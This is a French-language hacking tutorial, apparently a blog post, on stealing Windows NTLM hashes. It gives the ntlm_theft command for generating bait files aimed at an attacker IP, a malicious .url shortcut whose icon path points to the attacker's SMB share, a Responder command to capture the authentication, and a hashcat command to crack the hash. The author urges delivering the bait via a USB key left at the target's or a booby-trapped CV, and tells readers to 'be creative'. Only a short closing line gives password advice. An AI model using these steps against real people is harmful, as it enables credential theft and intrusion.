Intro
Windows ne stocke pas les mots de passe en clair. Quand vous soumettez votre mot de passe, il le mouline à l'aide d'une fonction de hachage et il en ressort un hash. Le hash est plus sûr parce qu'on ne peut pas revenir en arrière pour reconstituer le mot de passe. Par exemple, si mon mot de passe est mot2passe, le hash généré sera FD45B31673E515EAB52714D4D89C97EF avec la fonction NTLM. Nous allons ici voir comment récupérer des hashes
Préambule
De par sa conception, si un serveur demande à l'utilisateur de s'authentifier, Windows essaiera de le faire en utilisant les informations d'identification de l'utilisateur. De cette façon, l'utilisateur n'a pas besoin de fournir ses informations d'identification pour chaque serveur individuel. L'inconvénient est que n'importe quel serveur peut demander une authentification et Windows s'y conformera avec plaisir.
Notre serveur sera responder créé par L. Gaffie ; un outil magique que tout hacker connaît.
Si un client se connecte à un serveur SMB, responder va lui demander de s'authentifier et on va ainsi pouvoir récupérer un hash. Mais comment faire en sorte qu'un client se connecte au serveur ? C'est ce que nous allons voir...
Comment fait-on ?
Il existe beaucoup de techniques pour forcer windows à se connecter à un serveur. Je ne vais pas toutes les détailler, mais je vais plutôt vous parler de l'outil de Jacob Wilkin : ntlm theft. Le script permet de générer 18 fichiers qui vont nous aider pour récupérer des hashes. Certains fichiers ne fonctionne pas sur les versions récentes de windows (autorun.inf, desktop.ini ou encore .scf), j'utiliserai un .url pour la démo. Allez ! On y va !
Le code :
python3 ./ntlm_theft.py -g all -s 172.16.85.1 -f voleur
-g all pour générer tous les fichiers
-s <ip> l'IP de mon serveur
-f <dossier> Le dossier dans lequel seront créer tous les fichiers.
Pour l'exemple, je vais utiliser voleur-(icon).url dont voici le code :
[InternetShortcut]
URL=whatever
WorkingDirectory=whatever
IconFile=\\172.16.85.1\%USERNAME%.icon
IconIndex=1
On voit que l'adresse de l'icône utilisée est celle de mon serveur. Si je mets ce fichier sur une clé USB et que ma cible l'ouvre, windows essaiera de se connecter à responder.
Avant toute chose, je vais devoir lancer responder avec la commande suivante :
sudo responder -I vmnet8
vmnet8 étant le nom de ma carte réseau.
Il n'y a plus qu'à attendre... et BOOM !
Il n'y a plus qu'à copier le hash et le cracker avec hashcat (pas d'inquiétude, j'ai prévu quelques tuto sur hashcat) :
hashcat -a 0 --force -m 5600 hash.txt /home/fr3sh/Documents/Wordlists/french/fr-top1000000
Bingo, on a trouvé le mot de passe : mot2passe
Conclusion
On vient de voir comme il peut être simple de récupérer un hash à l'aide d'une clé USB malencontreusement oublié chez notre cible ;-). On pourra évidemment utiliser d'autres méthodes comme par exemple, envoyer un CV en .doc par email, etc. Soyez créatifs...
Il m'a fallu moins d'une seconde pour cracker le hash à l'aide d'une liste d'un million de mot de passe. Les mots de passe faible sont souvent la cause d'une intrusion. Pensez à utiliser des mots de passe fort et/ou d'autres moyens pour vous authentifier (double facteur, certificats, etc.)